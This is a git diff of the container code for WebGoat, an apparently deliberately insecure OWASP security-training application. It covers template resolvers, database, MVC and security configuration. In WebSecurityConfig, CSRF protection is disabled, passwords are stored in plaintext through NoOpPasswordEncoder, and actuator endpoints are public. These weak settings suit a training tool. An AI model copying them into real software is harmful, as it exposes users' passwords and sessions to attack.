+ * + */ +@Slf4j +public class AsciiDoctorTemplateResolver extends FileTemplateResolver { + + private static final Asciidoctor asciidoctor = create(); + private static final String PREFIX = "doc:"; + + private final Language language; + private final ResourceLoader resourceLoader; + + public AsciiDoctorTemplateResolver(Language language, ResourceLoader resourceLoader) { + this.resourceLoader = resourceLoader; + this.language = language; + setResolvablePatterns(Set.of(PREFIX + "*")); + } + + @Override + protected ITemplateResource computeTemplateResource( + IEngineConfiguration configuration, + String ownerTemplate, + String template, + String resourceName, + String characterEncoding, + Map templateResolutionAttributes) { + var templateName = resourceName.substring(PREFIX.length()); + log.debug("template used: {}", templateName); + try (InputStream is = getInputStream(templateName)) { + JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry(); + extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class); + extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class); + extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class); + extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class); + extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class); + extensionRegistry.inlineMacro("username", UsernameMacro.class); + + StringWriter writer = new StringWriter(); + asciidoctor.convert(new InputStreamReader(is), writer, createAttributes()); + return new StringTemplateResource(writer.getBuffer().toString()); + } catch (IOException e) { + return new StringTemplateResource( + "
Unable to find documentation for: " + templateName + "
"); + } + } + + private InputStream getInputStream(String templateName) throws IOException { + log.debug("locale: {}", language.getLocale().getLanguage()); + String computedResourceName = + computeResourceName(templateName, language.getLocale().getLanguage()); + if (resourceLoader + .getResource("classpath:/" + computedResourceName) + .isReadable() /*isFile()*/) { + log.debug("localized file exists"); + return resourceLoader.getResource("classpath:/" + computedResourceName).getInputStream(); + } else { + log.debug("using english template"); + return resourceLoader.getResource("classpath:/" + templateName).getInputStream(); + } + } + + private String computeResourceName(String resourceName, String language) { + String computedResourceName; + if (language.equals("en")) { + computedResourceName = resourceName; + } else { + computedResourceName = resourceName.replace(".adoc", "_".concat(language).concat(".adoc")); + } + log.debug("computed local file name: {}", computedResourceName); + log.debug( + "file exists: {}", + resourceLoader.getResource("classpath:/" + computedResourceName).isReadable()); + return computedResourceName; + } + + private Map createAttributes() { + Map attributes = new HashMap<>(); + attributes.put("source-highlighter", "coderay"); + attributes.put("backend", "xhtml"); + attributes.put("lang", determineLanguage()); + attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS); + + Map options = new HashMap<>(); + options.put("attributes", attributes); + + return options; + } + + private String determineLanguage() { + HttpServletRequest request = + ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); + + Locale browserLocale = + (Locale) + request.getSession().getAttribute(SessionLocaleResolver.LOCALE_SESSION_ATTRIBUTE_NAME); + if (null != browserLocale) { + log.debug("browser locale {}", browserLocale); + return browserLocale.getLanguage(); + } else { + String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING); + if (null != langHeader) { + log.debug("browser locale {}", langHeader); + return langHeader.substring(0, 2); + } else { + log.debug("browser default english"); + return "en"; + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java b/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java new file mode 100644 index 000000000..ef54ff007 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java @@ -0,0 +1,67 @@ +package org.owasp.webgoat.container; + +import java.util.Map; +import java.util.function.Function; +import javax.sql.DataSource; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.flywaydb.core.Flyway; +import org.owasp.webgoat.container.lessons.LessonScanner; +import org.owasp.webgoat.container.service.RestartLessonService; +import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; +import org.springframework.jdbc.datasource.DriverManagerDataSource; + +@Configuration +@RequiredArgsConstructor +@Slf4j +public class DatabaseConfiguration { + + private final DataSourceProperties properties; + private final LessonScanner lessonScanner; + + @Bean + @Primary + public DataSource dataSource() { + DriverManagerDataSource dataSource = new DriverManagerDataSource(); + dataSource.setDriverClassName(properties.getDriverClassName()); + dataSource.setUrl(properties.getUrl()); + dataSource.setUsername(properties.getUsername()); + dataSource.setPassword(properties.getPassword()); + return dataSource; + } + + /** + * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users + * and 1 for lesson specific tables we use. This way we clean the data in the lesson database + * quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson + * related tables. + */ + @Bean(initMethod = "migrate") + public Flyway flyWayContainer() { + return Flyway.configure() + .configuration(Map.of("driver", properties.getDriverClassName())) + .dataSource(dataSource()) + .schemas("container") + .locations("db/container") + .load(); + } + + @Bean + public Function flywayLessons(LessonDataSource lessonDataSource) { + return schema -> + Flyway.configure() + .configuration(Map.of("driver", properties.getDriverClassName())) + .schemas(schema) + .dataSource(lessonDataSource) + .locations("lessons") + .load(); + } + + @Bean + public LessonDataSource lessonDataSource() { + return new LessonDataSource(dataSource()); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/HammerHead.java b/src/main/java/org/owasp/webgoat/container/HammerHead.java new file mode 100644 index 000000000..04fd73ce5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/HammerHead.java @@ -0,0 +1,56 @@ +package org.owasp.webgoat.container; + +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.session.Course; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.servlet.ModelAndView; + +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Jeff Williams + * @author Bruce Mayhew + * @author Nanne Baars + * @version $Id: $Id + * @since October 28, 2003 + */ +@Controller +@AllArgsConstructor +public class HammerHead { + + private final Course course; + + /** Entry point for WebGoat, redirects to the first lesson found within the course. */ + @RequestMapping( + path = "/attack", + method = {RequestMethod.GET, RequestMethod.POST}) + public ModelAndView attack() { + return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink()); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/LessonDataSource.java b/src/main/java/org/owasp/webgoat/container/LessonDataSource.java new file mode 100644 index 000000000..c09f69d12 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/LessonDataSource.java @@ -0,0 +1,70 @@ +package org.owasp.webgoat.container; + +import java.io.PrintWriter; +import java.lang.reflect.Proxy; +import java.sql.Connection; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; +import javax.sql.DataSource; +import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler; +import org.springframework.jdbc.datasource.ConnectionProxy; + +public class LessonDataSource implements DataSource { + + private final DataSource originalDataSource; + + public LessonDataSource(DataSource dataSource) { + this.originalDataSource = dataSource; + } + + @Override + public Connection getConnection() throws SQLException { + var targetConnection = originalDataSource.getConnection(); + return (Connection) + Proxy.newProxyInstance( + ConnectionProxy.class.getClassLoader(), + new Class[] {ConnectionProxy.class}, + new LessonConnectionInvocationHandler(targetConnection)); + } + + @Override + public Connection getConnection(String username, String password) throws SQLException { + return originalDataSource.getConnection(username, password); + } + + @Override + public PrintWriter getLogWriter() throws SQLException { + return originalDataSource.getLogWriter(); + } + + @Override + public void setLogWriter(PrintWriter out) throws SQLException { + originalDataSource.setLogWriter(out); + } + + @Override + public void setLoginTimeout(int seconds) throws SQLException { + originalDataSource.setLoginTimeout(seconds); + } + + @Override + public int getLoginTimeout() throws SQLException { + return originalDataSource.getLoginTimeout(); + } + + @Override + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return originalDataSource.getParentLogger(); + } + + @Override + public T unwrap(Class clazz) throws SQLException { + return originalDataSource.unwrap(clazz); + } + + @Override + public boolean isWrapperFor(Class clazz) throws SQLException { + return originalDataSource.isWrapperFor(clazz); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java b/src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java new file mode 100644 index 000000000..cfd569720 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java @@ -0,0 +1,90 @@ +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +package org.owasp.webgoat.container; + +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.util.HashMap; +import java.util.Map; +import java.util.Set; +import lombok.extern.slf4j.Slf4j; +import org.springframework.core.io.ResourceLoader; +import org.thymeleaf.IEngineConfiguration; +import org.thymeleaf.templateresolver.FileTemplateResolver; +import org.thymeleaf.templateresource.ITemplateResource; +import org.thymeleaf.templateresource.StringTemplateResource; + +/** + * Dynamically resolve a lesson. In the html file this can be invoked as: + *

+ * + * + *

Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve + * the html in the plugins directory + */ +@Slf4j +public class LessonTemplateResolver extends FileTemplateResolver { + + private static final String PREFIX = "lesson:"; + private ResourceLoader resourceLoader; + private Map resources = new HashMap<>(); + + public LessonTemplateResolver(ResourceLoader resourceLoader) { + this.resourceLoader = resourceLoader; + setResolvablePatterns(Set.of(PREFIX + "*")); + } + + @Override + protected ITemplateResource computeTemplateResource( + IEngineConfiguration configuration, + String ownerTemplate, + String template, + String resourceName, + String characterEncoding, + Map templateResolutionAttributes) { + var templateName = resourceName.substring(PREFIX.length()); + byte[] resource = resources.get(templateName); + if (resource == null) { + try { + resource = + resourceLoader + .getResource("classpath:/" + templateName) + .getInputStream() + .readAllBytes(); + } catch (IOException e) { + log.error("Unable to find lesson HTML: {}", template); + } + resources.put(templateName, resource); + } + return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8)); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java b/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java new file mode 100644 index 000000000..114157a90 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java @@ -0,0 +1,260 @@ +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +package org.owasp.webgoat.container; + +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.util.Map; +import java.util.Set; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.i18n.Language; +import org.owasp.webgoat.container.i18n.Messages; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.lessons.LessonScanner; +import org.owasp.webgoat.container.session.LabelDebugger; +import org.springframework.context.ApplicationContext; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.core.io.ResourceLoader; +import org.springframework.core.io.support.ResourcePatternResolver; +import org.springframework.web.servlet.LocaleResolver; +import org.springframework.web.servlet.ViewResolver; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; +import org.springframework.web.servlet.config.annotation.ViewControllerRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; +import org.springframework.web.servlet.i18n.LocaleChangeInterceptor; +import org.springframework.web.servlet.i18n.SessionLocaleResolver; +import org.thymeleaf.IEngineConfiguration; +import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect; +import org.thymeleaf.spring5.SpringTemplateEngine; +import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver; +import org.thymeleaf.spring5.view.ThymeleafViewResolver; +import org.thymeleaf.templatemode.TemplateMode; +import org.thymeleaf.templateresolver.FileTemplateResolver; +import org.thymeleaf.templateresolver.ITemplateResolver; +import org.thymeleaf.templateresource.ITemplateResource; +import org.thymeleaf.templateresource.StringTemplateResource; + +/** Configuration for Spring MVC */ +@Configuration +@RequiredArgsConstructor +@Slf4j +public class MvcConfiguration implements WebMvcConfigurer { + + private static final String UTF8 = "UTF-8"; + + private final LessonScanner lessonScanner; + + @Override + public void addViewControllers(ViewControllerRegistry registry) { + registry.addViewController("/login").setViewName("login"); + registry.addViewController("/lesson_content").setViewName("lesson_content"); + registry.addViewController("/start.mvc").setViewName("main_new"); + registry.addViewController("/scoreboard").setViewName("scoreboard"); + } + + @Bean + public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) { + ThymeleafViewResolver resolver = new ThymeleafViewResolver(); + resolver.setTemplateEngine(thymeleafTemplateEngine); + resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName()); + return resolver; + } + + /** + * Responsible for loading lesson templates based on Thymeleaf, for example: + * + *

+ */ + @Bean + public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) { + var resolver = + new FileTemplateResolver() { + @Override + protected ITemplateResource computeTemplateResource( + IEngineConfiguration configuration, + String ownerTemplate, + String template, + String resourceName, + String characterEncoding, + Map templateResolutionAttributes) { + try (var is = + resourceLoader.getResource("classpath:" + resourceName).getInputStream()) { + return new StringTemplateResource( + new String(is.readAllBytes(), StandardCharsets.UTF_8)); + } catch (IOException e) { + return null; + } + } + }; + resolver.setOrder(1); + return resolver; + } + + /** Loads all normal WebGoat specific Thymeleaf templates */ + @Bean + public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) { + SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver(); + resolver.setPrefix("classpath:/webgoat/templates/"); + resolver.setSuffix(".html"); + resolver.setTemplateMode(TemplateMode.HTML); + resolver.setOrder(2); + resolver.setCharacterEncoding(UTF8); + resolver.setApplicationContext(applicationContext); + return resolver; + } + + /** Loads the html for the complete lesson, see lesson_content.html */ + @Bean + public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) { + LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader); + resolver.setOrder(0); + resolver.setCacheable(false); + resolver.setCharacterEncoding(UTF8); + return resolver; + } + + /** Loads the lesson asciidoc. */ + @Bean + public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver( + Language language, ResourceLoader resourceLoader) { + log.debug("template locale {}", language); + AsciiDoctorTemplateResolver resolver = + new AsciiDoctorTemplateResolver(language, resourceLoader); + resolver.setCacheable(false); + resolver.setOrder(1); + resolver.setCharacterEncoding(UTF8); + return resolver; + } + + @Bean + public SpringTemplateEngine thymeleafTemplateEngine( + ITemplateResolver springThymeleafTemplateResolver, + LessonTemplateResolver lessonTemplateResolver, + AsciiDoctorTemplateResolver asciiDoctorTemplateResolver, + ITemplateResolver lessonThymeleafTemplateResolver) { + SpringTemplateEngine engine = new SpringTemplateEngine(); + engine.setEnableSpringELCompiler(true); + engine.addDialect(new SpringSecurityDialect()); + engine.setTemplateResolvers( + Set.of( + lessonTemplateResolver, + asciiDoctorTemplateResolver, + lessonThymeleafTemplateResolver, + springThymeleafTemplateResolver)); + return engine; + } + + @Override + public void addResourceHandlers(ResourceHandlerRegistry registry) { + // WebGoat internal + registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/"); + registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webgoat/static/js/"); + registry + .addResourceHandler("/plugins/**") + .addResourceLocations("classpath:/webgoat/static/plugins/"); + registry + .addResourceHandler("/fonts/**") + .addResourceLocations("classpath:/webgoat/static/fonts/"); + + // WebGoat lessons + registry + .addResourceHandler("/images/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new)); + registry + .addResourceHandler("/lesson_js/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new)); + registry + .addResourceHandler("/lesson_css/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new)); + registry + .addResourceHandler("/lesson_templates/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new)); + registry + .addResourceHandler("/video/**") + .addResourceLocations( + lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new)); + } + + @Bean + public PluginMessages pluginMessages( + Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) { + PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver); + pluginMessages.setDefaultEncoding("UTF-8"); + pluginMessages.setBasenames("i18n/WebGoatLabels"); + pluginMessages.setFallbackToSystemLocale(false); + return pluginMessages; + } + + @Bean + public Language language(LocaleResolver localeResolver) { + return new Language(localeResolver); + } + + @Bean + public LocaleResolver localeResolver() { + SessionLocaleResolver localeResolver = new SessionLocaleResolver(); + return localeResolver; + } + + @Bean + public LocaleChangeInterceptor localeChangeInterceptor() { + LocaleChangeInterceptor lci = new LocaleChangeInterceptor(); + lci.setParamName("lang"); + return lci; + } + + @Override + public void addInterceptors(InterceptorRegistry registry) { + registry.addInterceptor(localeChangeInterceptor()); + } + + @Bean + public Messages messageSource(Language language) { + Messages messages = new Messages(language); + messages.setDefaultEncoding("UTF-8"); + messages.setBasename("classpath:i18n/messages"); + messages.setFallbackToSystemLocale(false); + return messages; + } + + @Bean + public LabelDebugger labelDebugger() { + return new LabelDebugger(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/WebGoat.java b/src/main/java/org/owasp/webgoat/container/WebGoat.java new file mode 100644 index 000000000..e721fddee --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/WebGoat.java @@ -0,0 +1,74 @@ +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +package org.owasp.webgoat.container; + +import java.io.File; +import org.owasp.webgoat.container.session.UserSessionData; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.PropertySource; +import org.springframework.context.annotation.Scope; +import org.springframework.context.annotation.ScopedProxyMode; +import org.springframework.web.client.RestTemplate; + +@Configuration +@ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"}) +@PropertySource("classpath:application-webgoat.properties") +@EnableAutoConfiguration +public class WebGoat { + + @Bean(name = "pluginTargetDirectory") + public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) { + return new File(webgoatHome); + } + + @Bean + @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS) + public WebSession webSession() { + return new WebSession(); + } + + @Bean + @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS) + public UserSessionData userSessionData() { + return new UserSessionData("test", "data"); + } + + @Bean + public RestTemplate restTemplate() { + return new RestTemplate(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java b/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java new file mode 100644 index 000000000..59084aa2f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java @@ -0,0 +1,108 @@ +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since December 12, 2015 + */ +package org.owasp.webgoat.container; + +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.users.UserService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.authentication.AuthenticationManager; +import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; +import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.crypto.password.NoOpPasswordEncoder; + +/** Security configuration for WebGoat. */ +@Configuration +@AllArgsConstructor +@EnableWebSecurity +public class WebSecurityConfig extends WebSecurityConfigurerAdapter { + + private final UserService userDetailsService; + + @Override + protected void configure(HttpSecurity http) throws Exception { + ExpressionUrlAuthorizationConfigurer.ExpressionInterceptUrlRegistry security = + http.authorizeRequests() + .antMatchers( + "/css/**", + "/images/**", + "/js/**", + "fonts/**", + "/plugins/**", + "/registration", + "/register.mvc", + "/actuator/**") + .permitAll() + .anyRequest() + .authenticated(); + security + .and() + .formLogin() + .loginPage("/login") + .defaultSuccessUrl("/welcome.mvc", true) + .usernameParameter("username") + .passwordParameter("password") + .permitAll(); + security.and().logout().deleteCookies("JSESSIONID").invalidateHttpSession(true); + security.and().csrf().disable(); + + http.headers().cacheControl().disable(); + http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login")); + } + + @Autowired + public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { + auth.userDetailsService(userDetailsService); + } + + @Bean + @Override + public UserDetailsService userDetailsServiceBean() throws Exception { + return userDetailsService; + } + + @Override + @Bean + protected AuthenticationManager authenticationManager() throws Exception { + return super.authenticationManager(); + } + + @SuppressWarnings("deprecation") + @Bean + public NoOpPasswordEncoder passwordEncoder() { + return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java b/src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java new file mode 100644 index 000000000..6c48ce1fa --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java @@ -0,0 +1,21 @@ +package org.owasp.webgoat.container; + +import lombok.RequiredArgsConstructor; +import org.springframework.context.ApplicationContext; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.servlet.ModelAndView; + +@Controller +@RequiredArgsConstructor +public class WebWolfRedirect { + + private final ApplicationContext applicationContext; + + @GetMapping("/WebWolf") + public ModelAndView openWebWolf() { + var url = applicationContext.getEnvironment().getProperty("webwolf.url"); + + return new ModelAndView("redirect:" + url + "/home"); + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/EnvironmentExposure.java b/src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java similarity index 52% rename from webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/EnvironmentExposure.java rename to src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java index 141740523..7abaf10c9 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/EnvironmentExposure.java +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.asciidoc; +package org.owasp.webgoat.container.asciidoc; import org.springframework.beans.BeansException; import org.springframework.context.ApplicationContext; @@ -7,19 +7,20 @@ import org.springframework.core.env.Environment; import org.springframework.stereotype.Component; /** - * Make environment available in the asciidoc code (which you cannot inject because it is handled by the framework) + * Make environment available in the asciidoc code (which you cannot inject because it is handled by + * the framework) */ @Component public class EnvironmentExposure implements ApplicationContextAware { - private static ApplicationContext context; + private static ApplicationContext context; - public static Environment getEnv() { - return context.getEnvironment(); - } + public static Environment getEnv() { + return context.getEnvironment(); + } - @Override - public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { - context = applicationContext; - } + @Override + public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { + context = applicationContext; + } } diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java new file mode 100644 index 000000000..87a60a879 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java @@ -0,0 +1,25 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; +import org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; + +public class OperatingSystemMacro extends InlineMacroProcessor { + + public OperatingSystemMacro(String macroName) { + super(macroName); + } + + public OperatingSystemMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String target, Map attributes) { + var osName = System.getProperty("os.name"); + + // see + // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used + return createPhraseNode(contentNode, "quoted", osName); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java new file mode 100644 index 000000000..7275ba9b1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java @@ -0,0 +1,31 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; +import org.asciidoctor.ast.ContentNode; +import org.asciidoctor.extension.InlineMacroProcessor; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.security.core.context.SecurityContextHolder; + +public class UsernameMacro extends InlineMacroProcessor { + + public UsernameMacro(String macroName) { + super(macroName); + } + + public UsernameMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + public Object process(ContentNode contentNode, String target, Map attributes) { + var auth = SecurityContextHolder.getContext().getAuthentication(); + var username = "unknown"; + if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) { + username = webGoatUser.getUsername(); + } + + // see + // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used + return createPhraseNode(contentNode, "quoted", username); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java b/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java new file mode 100644 index 000000000..12c283f9a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java @@ -0,0 +1,25 @@ +package org.owasp.webgoat.container.asciidoc; + +import java.util.Map; +import 